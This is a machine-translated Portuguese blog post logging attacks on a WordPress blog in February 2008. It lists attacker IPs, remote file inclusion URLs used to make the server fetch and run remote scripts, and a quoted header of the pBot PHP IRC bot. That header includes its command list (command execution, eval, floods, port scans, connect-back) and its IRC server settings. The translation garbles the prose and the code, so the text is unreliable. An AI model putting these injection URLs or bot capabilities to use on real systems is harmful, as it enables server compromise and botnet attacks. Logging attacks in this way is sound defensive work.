Hoje, a atualização a partir de nós apenas WordPress 2.3.2 a 2.3.3 libertação de segurança. Há 21 ataque (script injectáveis) a partir de 3 blog.kakkoi.net conhecido bot-Herder scripts ↓. O primeiro é do atacante 212.24.62.200 → udkado.ru encobrir as suas useragent Googlebot (um verdadeiro homem?). Foram brincar com a minha página de redirecionamento 302.curie blog.kakkoi.net / uri /. Eu o atacante enviar dados ao abuso das redes e da IronPort. As próximas horas, recebemos 20 ataque a partir da mesma bot-Herder. Eles provavelmente tem uma larga escala de DDNS (china → → korea nós). Notavelmente os scans padrão é previsível. Do nosso ponto de 5 de Fevereiro atacar todos estes botnet pesquisa tem como alvo alguns palavras-chave de segurança, uma injeção para que setup pote de mel direito a esse URL em particular.
Hacking tentativas em Kakkoi
Classificar por tipo de injecção.
IP / DDNS UA ATT País Params 212.24.62.200 Googlebot 1 Rússia - www.yahoo.com
- Solicitação URI: www.yahoo.com
61.152.158.46 N / A 4 Louça - http://basiclifesaving.org/mycomments/rom.txt
- http://www.freewebtown.com/acc827/test.txt
- Solicitação URI: / security / injecção /
N / A 16 - http://basiclifesaving.org/mycomments/rom.txt
- http://www.freewebtown.com/acc827/test.txt
- Solicitação URI: / security / injecção /
O Bot-Herder Host
Parte da classe pBot fonte tomada de http://basiclifesaving.org/mycomments/rom.txt
<? / * * * # @ Tripulação corp. * Desde 2003, editado por: devil__ <admin@xdevil.org> * * comandos: * *. <password> usuário / / login com o bot *. logout / / logout do robô *. morrem / / matar o bot *. reiniciar / / reiniciar o bot *. <to> mail <from> <subject> <msg> / / * enviar um e-mail. dns <IP|HOST> / / * dns lookup. <url> <filename> download / / descarregar * um arquivo. <cmd> exec / / usa exec () / / * executar um comando. sexec <cmd> / / usa shell_exec () / / * executar um comando. cmd <cmd> / / usa popen () / / * executar um comando. info / / get sistema de informação *. <php code> php / / usa eval () / / * execute código PHP. tcpflood <target> <packets> <packetsize> <port> <delay> / / tcpflood * ataque. udpflood <target> <packets> <packetsize> <delay> / / * udpflood ataque. cru <cmd> / / IRC cru comando *. rndnick / / * alterar apelido. pscan <host> <port> / / porto * varredura. segura / / teste safe_mode (dvl) *. Cx.entrada <to> / / teste Cx.entrada (dvl) *. conback <ip> <port> / / conect back (dvl) *. uname / / retorno do shell uname usando um php function (dvl) * * / set_time_limit (0); error_reporting (0); echo "Ok unlocker. Fizemo-i!"; classe pBot (var $ config = array ( "server" => "Bucharest.ro.eu. ultra-chat.org "," porto "=>" 6667 "," pass "=>" n "," prefixo "=>"[ R] "," maxrand "=>" 4 "," chan "=> "# unlocker", "chan2 "=>"# unlocker", "chave" => "n", "modos "=>" p", "password" => "n", "acionar "=>". "," Hostauth "=>" Robert.users.ultra-chat.org "/ / * para qualquer host (lembre-se: / setvhost xdevil.org));
Posts relacionados
- Diário Hacking Tentativas sobre blog.kakkoi.net - 5 de fevereiro, 2008
- Massa remota de código de injecção como o Googlebot - Packet Spoofing Perl bot & Trojan
Ligações externas
- 6 de fevereiro de 2008, 10:59 pm
- 7 de fevereiro de 2008 em 6:44 pm
- 0,3
- URL
Não Responses para "Daily Hacking Attemps em blog.kakkoi.net - 6 de Fevereiro de 2008"
Trackback URL: Use o ping TrackBack url ↑ a este artigo. Se o seu blog não suporta trackbacks você pode querer deixar um recado vez.
"escrever como se estivesse conversando com uma boa amiga (na frente de sua mãe)."
. a sua opinião
Aviso: Para qualquer conteúdo que você postar, você decide conceder a Kakkoi a título gratuito, irrevogável, perpétuo, exclusiva e totalmente sublicenciável para usar, reproduzir, modificar, adaptar, publicar, traduzir, criar trabalhos derivativos, distribuir, executar e exibir tal conteúdo, no todo ou em parte, em todo o mundo e para integrá-la em outras obras, sob qualquer forma, mídia ou tecnologia atualmente conhecida ou posteriormente desenvolvida. Alguns direitos reservados.









A seguinte "Código" são concebidos para proteger você e outros usuários do site.
A fim de manter estas experiências agradável e interessante para todos os nossos usuários, nós pedimos que você siga as diretrizes acima.
ser o primeiro a comentar.